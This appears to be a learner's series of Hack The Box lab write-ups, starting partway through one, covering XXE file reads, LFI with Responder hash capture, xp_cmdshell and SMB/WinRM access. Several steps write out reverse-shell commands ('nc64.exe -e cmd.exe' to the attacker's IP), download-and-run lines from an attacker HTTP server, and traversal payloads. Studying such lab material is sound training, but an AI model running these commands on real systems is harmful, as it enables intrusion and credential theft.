First, we need to verify whether the application is vulnerable to XXE and whether we can successfully exploit it. A common XXE proof of concept uses /etc/passwd to read a local file on Linux systems. However, since our target machine is running Windows, /etc/passwd does not exist. Instead, we can target C:\Windows\win.ini, a standard configuration file that is commonly present on Windows systems.

By attempting to read this file through the XXE payload, we can determine whether the XML parser is resolving external entities and allowing us to access local files. As shown in the image below, the contents of win.ini are returned in the server’s response, confirming that the application is vulnerable to XXE-based local file disclosure.

Furthermore, after we inspect the HTML code of the Orders page, we also identify that user called Daniel exists in the target machine

So we know:

User called Daniel exists
Port 22 is opened
We can try to access a file in the server via XXE payload

The next attack chain we could explore is looking for a password or private key belonging to Daniel that could allow us to authenticate to the target machine via SSH as Daniel.

At this point, I had to rely on ChatGPT because I wasn’t familiar with the common directory where SSH private keys are typically stored on Windows. I learned that OpenSSH commonly stores user SSH keys under the .ssh directory and commonly name the private key file as id_rsa, so I tried the following path: C:\Users\daniel\.ssh\id_rsa and it worked

Save the private key into a file in kali machine and ssh into the target host as user daniel via `ssh -i {private key file} daniel@{ip address}

Navigate to the daniel's Desktop to find the user flag

Privilege Escalation

HTB provides us with a useful clue by directing us to the Log-Management directory, which contains a file called job.bat.

When we attempt to run the batch file, it displays an error indicating that the script requires Administrator privileges to execute successfully.

When we inspect the contents of job.bat, we can see that it executes another program called wevtutil.exe, a built-in Windows utility used to manage Windows Event Logs. In this case, the script uses it to enumerate and clear the Event Logs.

When we use the PowerShell command ps, we can see that the wevtutil.exe process is running even though we were unable to execute job.bat ourselves due to insufficient privileges. This suggests that job.bat may be scheduled to be executed automatically with SYSTEM-level privileges

Hence, one possible attack chain is to rewrite the contents of job.bat so that it executes nc64.exe and establishes a connection back to our Kali machine’s listening server. If job.bat is indeed being executed with SYSTEM-level privileges, the resulting Windows command shell would inherit those same privileges, potentially giving us a SYSTEM-level shell.

We first check whether the daniel user has permission to modify job.bat by using the icacls command: icacls job.bat

We can see that members of BUILTIN\Users have Full Control over this file. We can therefore check whether the daniel user is a member of this group by using: whoami /groups

We can see that Daniel is indeed a member of BUILTIN\Users

Now on Kali machine, we can start a simple HTTP server on the directory that contains nc64.exe -> python -m http.server 80

Next, start a Netcat listener on the Kali machine using the port of your choice (in my case, port 8000)

Retrieve nc64.exe file on the target machine by using powershell command -> wget http://{kali machine ip}/nc64.exe -outfile {name of file you want to assign}

We can now overwrite the content of job.bat with the following command:
Set-Content -Path C:\Log-Management\job.bat -Value 'C:\Log-Management\nc64.exe -e cmd.exe {kali machine ip} {port of your listening server that you assigned}'

Confirm that the content has been overwritten:
Get-Content C:\Log-Management\job.bat

We then wait for job.bat to be executed and for it to establish a connection back to our Kali listener. Then navigate to the administrator Desktop to find the root flag

HTB - Archetype

Jung — Tue, 15 Sep 2026 19:22:28 +0000

OS: Windows
Difficulty: Very Easy

This was a fun machine to do :)

After the Nmap enumeration, we obtained the following results:

Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-15 11:05 -0400
Nmap scan report for 10.129.192.92
Host is up (0.24s latency).
Not shown: 65523 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info: 
|   10.129.192.92:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-09-15T14:24:02
|_Not valid after:  2056-09-15T14:24:02
| ms-sql-ntlm-info: 
|   10.129.192.92:1433: 
|     Target_Name: ARCHETYPE
|     NetBIOS_Domain_Name: ARCHETYPE
|     NetBIOS_Computer_Name: ARCHETYPE
|     DNS_Domain_Name: Archetype
|     DNS_Computer_Name: Archetype
|_    Product_Version: 10.0.17763
|_ssl-date: 2026-09-15T15:07:05+00:00; 0s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h24m01s, deviation: 3h07m51s, median: 0s
| smb2-time: 
|   date: 2026-09-15T15:06:51
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-09-15T08:06:54-07:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.77 seconds

From the scan, we can identify a few important details:

-> Port 445 (SMB) and 1344 (SQL Server) are opened
-> We found one user account called guest
-> This machine is part of the Domain called Archetype

Since port 445 is open, my first instinct was to try connecting to the target machine using the administrator account with an empty password. Unfortunately, this failed.

As the next step, I decided to enumerate the SMB shares that might be accessible using the guest account.

smbclient -L //10.129.193.31

We found a share called backups, so I tried accessing it through SMB.

smbclient //10.129.193.31/backups -U "guest"

Inside the share, we found a file called prod.dtsConfig. I downloaded it using the get command and opened it on my Kali machine.

The file exposed two important pieces of information:

A Windows domain account called ARCHETYPE/mysql_svc
The password M3g4c0rp123

One important thing to note is that the account we just compromised is a Windows domain account, rather than a native SQL Server username/password account.

In order to obtain the user flag, we need an interactive shell on the target machine. I initially tried using impacket-psexec to gain access, but it failed, so I had to look for another way to obtain a shell.

One approach was to make the target machine execute a binary that would establish a reverse shell back to a listener on my Kali machine.

I searched for a suitable binary that could be executed on Windows and came across the following:

I then searched for a GitHub repository that provided nc.exe and found the following repository: https://github.com/int0x33/nc.exe/blob/master/nc64.exe

I downloaded the nc64.exe (64 because we need an executable built for 64-bit Windows architecture).

Next, I started a simple HTTP Server from the directory containing the nc64.exe file using the following command:

python3 -m http.server 80

Now we need to transfer the nc64.exe file from our Kali machine to the target Windows machine.

First, we can use the impacket-mssqlclient command with the option -windows-auth, as shown in the image below. This option allows us to authenticate to Microsoft SQL Server using Windows authentication.

We can see that xp_cmdshell allows us to execute Windows commands on the SQL Server host.

I only learned after completing this machine and reading the official write-up that we can also execute PowerShell commands through xp_cmdshell using xp_cmdshell “powershell -c ". This is a much cleaner approach, so I will use it for this write-up.

We can use the PowerShell command to retrieve the nc64.exe file from the HTTP server running on our Kali machine and save it to the sql_svc user’s directory.
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads ; wget http://<Your kali machine ip>/nc64.exe -outfile <name you want to assign>"

We can also see that our HTTP server received an HTTP GET request for nc64.exe with a status code of 200, indicating that the download was successful.

We can further confirm that the nc64.exe file was successfully transferred to the Windows machine under the sql_svc user’s directory.

Next, we set up a listener on our Kali machine using the port of our choice. I chose port 8000.

We can then execute nc64.exe on the target machine, using cmd.exe as the Windows command-line shell, and connect it back to the Kali machine’s IP address and listening port (8000 in my case).
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads ; ./nc64.exe -e cmd.exe 10.10.15.17 8000"

We can now interact with the target through the listener and navigate to the sql_svc user’s Desktop to retrieve the user flag.

Now that we have obtained the user flag, the next step is privilege escalation to administrator in order to retrieve the root flag.

Based on the HTB guidance, we can use WinPEAS to enumerate the system and identify potential privilege-escalation opportunities.

WinPEAS (Windows Privilege Escalation Awesome Scripts) is an enumeration tool used to search a Windows system for potential privilege-escalation opportunities.

It checks things such as:

User privileges and groups
Services and their permissions
Scheduled tasks
Registry settings
Stored credentials
Writable files/directories
Installed software and configurations

You can download winPEASx64.exe from https://github.com/peass-ng/PEASS-ng/releases/tag/20260914-474d0061

Since we already have an interactive shell session through our listener, we can:

Start the HTTP server in the directory containing winPEASx64.exe
Start PowerShell from our interactive shell and retrieve winPEASx64.exe from our HTTP server

Once we execute winPEASx64.exe on the target machine as the sql_svc user, it produces a large amount of output. It took me some time to find the relevant information, but eventually I found the file below, which contained the password for the domain administrator account.

At this point, we have:

The username of the domain administrator -> administrator
The password of the domain administrator

With these credentials, we can gain a shell on the target machine as the domain administrator using impacket-psexec and retrieve the root flag.

Key Learning Points

For me, the key learning points from this machine were:

I learned that I can authenticate to SQL Server using a Windows domain user account via impacket-mssqlclient.
I learned that WinPEAS can be used as an enumeration tool to identify potential privilege-escalation paths.

HTB - Tactics

Jung — Mon, 14 Sep 2026 21:05:39 +0000

OS: Windows
Difficulty: Very Easy

After Nmap Enumeration
nmap -T4 --min-rate 5000 -p- -sC -sV -Pn 10.129.188.198

We get:

└─# nmap -T4 --min-rate 5000 -p- -sV -sC -Pn 10.129.188.198 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-14 16:11 -0400
Nmap scan report for 10.129.188.198
Host is up (0.23s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -26s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2026-09-14T20:12:21
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.82 seconds

We can see that port 445 is open, which indicates that the target is running the SMB (Server Message Block) protocol.

One way to obtain remote shell access over SMB is by using impacket-psexec.

To use impacket-psexec, we first need to install Impacket:

sudo apt update
sudo apt install impacket-scripts

This package provides access to several useful Impacket tools, not just impacket-psexec, which can be useful when attacking or interacting with Windows machines.

impacket-psexec allows us to execute commands remotely on a Windows machine over SMB. Normally, we need valid credentials, such as a username and password or an LM:NT hash, to authenticate to the target. However, for this particular machine, I decided to first test whether the Administrator account could be accessed with an empty password.

Surprisingly, it worked.

Since HTB asked me to find the flag located on the Administrator user’s Desktop, I simply navigated to the Administrator Desktop directory and read the flag.

HTB - Funnel

Jung — Tue, 08 Sep 2026 22:58:23 +0000

OS: Linux
Difficulty: Very Easy

After doing nmap enumeration:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.243
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds was 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

Obtained 2 open ports for ftp and ssh

Anonymous FTP login allowed (FTP code 230) -> This indicates that the FTP server on the target machine allows anonymous FTP login, so I thought I could try connecting to it as the anonymous user.

For anonymous login credentials:
Username: anonymous
Password: anonymous

After connecting via FTP, I found two files: 1 PDF containing the password policy and 1 welcome text file -> Downloaded both of them using the get command.

Within the passwordpolicy.pdf:

I found that the default password for new accounts is funnel123#!#.

I figured that the welcome text message would contain the names of people who had recently joined the company, and I was right:

Since I knew:

the default password
the names of the newly joined people
the SSH port was open

Maybe there could be a user who had not changed their default password, so I tried to SSH into the target machine using the names and the default password. I ultimately found out that Christine had not changed her default password and was able to get an SSH connection.

I used the hint from HTB to use the command ss -tl, which means "Show me all TCP ports on this machine that are listening for incoming connections."

From here, I found that there was a PostgreSQL service running locally on the target machine (127.0.0.1:5432).

Since I was connected as Christine, I immediately ran the command psql -h 127.0.0.1 -p 5432, but it failed because psql was not installed. I couldn't install it manually either since it required sudo access, and I didn't know the root password.

I got stuck and had to rely on the hint, where I learned about SSH tunneling and port forwarding.

I learned about Local Port Forwarding, and if I were to phrase it in my own words -> If I talk to port 5555 on my Kali machine while connected to the target machine, forward that traffic to port 5432 running on the target machine.

The vice versa would be Remote Port Forwarding, and we use it when the target remote machine sends traffic to its local port and we want that traffic to reach our local machine instead.

ssh -L 5555:127.0.0.1 christine@10.129.160.250
So what this command is doing, the mental model would be: "Open a port on MY machine and forward anything arriving there through SSH to a port on the remote machine."

To put it simply, the SSH connection is giving us a pathway for network traffic generated within our Kali machine to reach the target machine.

So now we can run the following command on our Kali machine: psql -h 127.0.0.1 -U christine -p 5555 -> "i want to connect to postgresql database running in my kali machine on port 5555" but this connection network traffic actually gets forwarded to the 127.0.0.1:5432 on funnel machine instead due to pre-configured ssh tunnel"

Once we get connected to the PostgreSQL database as Christine, we can navigate through the database and get the flag.

HTB - Synced

Jung — Tue, 08 Sep 2026 22:58:09 +0000

OS: Linux
Difficulty: Very Easy

After nmap enumeration, we will find:

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

rsync is a tool for copying and synchronizing files between machines.

We can make use of rsync command to get access to files within the exposed share/module. In this machine, there is a flag.txt within the module called public

For command syntax and options available for rsync can be found in rsync --help

What I did was to download the flag.txt on my own kali machine via:
rsync -a -v rsync://10.129.160.164:873/public/flag.txt ./

and read the flag

I got to learn that port 873 is commonly associated with the rsync service, and if an rsync share allows anonymous access, we may be able to enumerate and access files stored on the target server.

HTB - Mongod

Jung — Tue, 08 Sep 2026 22:57:57 +0000

OS: Linux
Difficulty: Very Easy

After doing nmap enumeration, we will see one TCP port 27017 which refers to MongoDB

Whenever we see such port open, we can try to connect to it and access the database via mongosh aka MongoDB Shell

You can download MongoDB Shell here:

Unzip it
dpkg-deb -x mongodb-mongosh_2.10.0_amd64.deb <directory that you want>

Go to the bin folder and execute the mongo shell command
./mongosh mongodb://10.129.228.30:27017

For syntax, you can check in mongosh --help

Once connected, you can interact with following commands:
show dbs -> Show all databases
use <dbs name> -> Choose database
show collections -> Show all collections in the chosen database
db.<collection>.find() -> Dump the content of all the documents within the collection named

to find the flag

We get to learn how to identify MongoDB service as well as connecting to the database from this machine

HTB - Responder

Jung — Tue, 08 Sep 2026 22:57:46 +0000

OS: Windows
Difficulty: Very Easy

As usual, I started by enumerating the target’s open ports and services.

nmap -p- --min-rate 1000 -sV <IP>

The scan revealed:

80/tcp    open    http
5985/tcp  open    wsman

Port 80 indicated a web server, while port 5985 indicated WinRM (Windows Remote Management).

While exploring the website, I noticed that the language selection changed the URL to something similar to:

/index.php?page=french.html

The page parameter immediately stood out because it appeared to control which file the application loaded.

This led me to test whether the parameter was vulnerable to Local File Inclusion (LFI).

I did not know so I had to search google and AI but a common way of testing for LFI is attempting to access a known file on the target system using directory traversal:

../../../../../../../../windows/system32/drivers/etc/hosts

The resulting request looked like:

http://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts

The contents of the Windows hosts file were returned, confirming that the application was vulnerable to LFI.

Hence, whenever I see a parameter that appears to accept a filename or path, such as:

?page=
?file=
?path=
?include=
?template=

because there is always a chance where there is no proper sanitization done on the parameter, which we will be able to pass malicious input and therefore view the internal system files

⸻

I already had two important pieces of information:

The target was a Windows machine.
We had an LFI vulnerability that allowed us to control what resource the server attempted to access.

I mean the name of the machine kind of gave it away, but I probably wouldn’t have thought of using Responder if I hadn’t learned about it through the PJPT certification course material.

⸻
The following is the section of the note I personally made while studying for PJPT exam which is very relevant to this machine:

Windows Assumes Every Remote Share Requires Authentication

Windows operating systems are designed around seamless single sign-on (SSO). When you type \\<IP> in the File Explorer on our Desktop / Laptop or in this challenge within the URL -> http://unika.htb?page=\\<ip of attacker machine>/somefile:

Windows treats that IP address as a remote Windows File Server.
Windows assumes, "To show this user their network shares, I need to introduce who is currently logged in."
File Explorer / victim website automatically initiates an SMB session on port 445 and sends an authentication request in the background—before it even checks whether the remote folder exists or allows anonymous access.

⸻

Responder Pretended to Be an SMB Server

Your Kali machine wasn't passively sniffing traffic—Responder was running a fake SMB server listening on port 445.

When the victim machine reached out to your IP asking to connect, Responder acted like a compliant SMB server:

Victim: "Hi 192.168.76.133, I want to access your shares as MARVEL\fcastle."
Responder: "Sure! Prove it's really you. Here is a random challenge code (5fd0a679742e7eba). Encrypt this code with your password hash and send it back."
Victim: Encrypts the challenge using fcastle's password hash and sends the response back to Kali.

Responder took that encrypted response, logged it to your terminal as a NetNTLMv2 hash, and dropped the connection.

⸻

Copy the NTLMv2 Hash into a text file and use hashcat to try cracking the password because there is a chance where a weak password has been used. There are other alternatives such as John the Ripper
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

-m refers to mode and 5600 corresponds to the NTLMv2. For other modes we can discover them via hashcat --help

hashcat will then crack the password if there is a match (you can use --show option to show the previously cracked result without having to crack again if you lost the result in the terminal)

But I think the actual password for this machine was badminton

⸻

WinRM

The original Nmap scan also showed:

5985/tcp open wsman

I learned that this is the default HTTP port commonly used by Windows Remote Management (WinRM).

Once we recovered valid credentials, we could use them to authenticate to WinRM.

I did not know the command so I had to use AI to search up for this part. A common tool for interacting with WinRM from Linux is Evil-WinRM:

evil-winrm -i <IP> -u administrator -p <password>

In this case:

evil-winrm -i -u administrator -p badminton

This provided a remote shell on the Windows machine and finally retrieve the flag

⸻

Looking back, the complete chain was:

Nmap
↓
Discover HTTP + WinRM
↓
Enumerate website
↓
Discover name-based virtual host
↓
Discover page parameter
↓
Identify LFI
↓
Understand Windows SMB authentication
↓
Use LFI to trigger SMB connection
↓
Responder captures NetNTLMv2
↓
Hashcat cracks the password
↓
Recovered Administrator credentials
↓
Connect through WinRM

⸻

Key Takeaways

Don’t stop at the obvious vulnerability

Finding LFI doesn’t necessarily mean the end goal is simply reading /etc/passwd or the Windows hosts file.

Ask:

What else can I make the vulnerable application access?

Understanding the underlying system can reveal completely different attack paths.

Pay attention to the operating system

Knowing that the target is Windows changed the direction of the attack.

Windows introduced concepts such as:

* SMB
* NTLM
* NetNTLMv2
* WinRM
* Active Directory

Because the same vulnerability on a Linux target could potentially lead to a very different attack chain.

Open ports tell you about possible future attack paths

The initial scan showed both:

80/tcp
5985/tcp

At first, WinRM wasn’t immediately useful because we didn’t have credentials.

After obtaining the Administrator password, however, that previously discovered service became the way to obtain a remote shell.

This reinforced the importance of keeping track of all discovered services, even if they aren’t immediately exploitable.

⸻

Final Thoughts

The biggest lesson from this machine was the importance of connecting concepts together.

A web vulnerability, Windows SMB authentication, NTLM, Responder, password cracking, and WinRM might initially look like completely separate topics.

But during an actual assessment, they can form one continuous attack chain:

Web vulnerability → Windows authentication → credential capture → credential recovery → remote access

That’s the kind of pattern I want to focus on documenting here—not just how to solve a particular machine, but how the pieces fit together and what I can carry forward to the next one.

HTB - Preignition

Jung — Tue, 08 Sep 2026 22:57:34 +0000

OS: Linux
Difficulty: Very Easy

When we find an open TCP port 80, it is worth enumerating the web server for hidden directories and files. These may expose useful endpoints such as /admin, login pages, configuration files, or other functionality that is not immediately visible from the main page.

One way to perform directory enumeration is with Gobuster.
'gobuster dir -u http:// -w -x '

Directory and file enumeration can reveal additional attack surface that is not linked or exposed directly from the main page.

HTB - Explosion

Jung — Sun, 06 Sep 2026 21:35:53 +0000

OS: Windows
Difficulty: Very Easy

When we see a TCP port 3389 is open, trying xfreerdp is a reasonable next step

One example of command is:
xfreerdp /v:<ip> /u:<username> /p:<password> /cert:ignore

For this machine, the creator purposely made the password blank so we could log in using Administrator account but usually this is not the case. However, it was my first time coming across xfreerdp command so it was a still good learning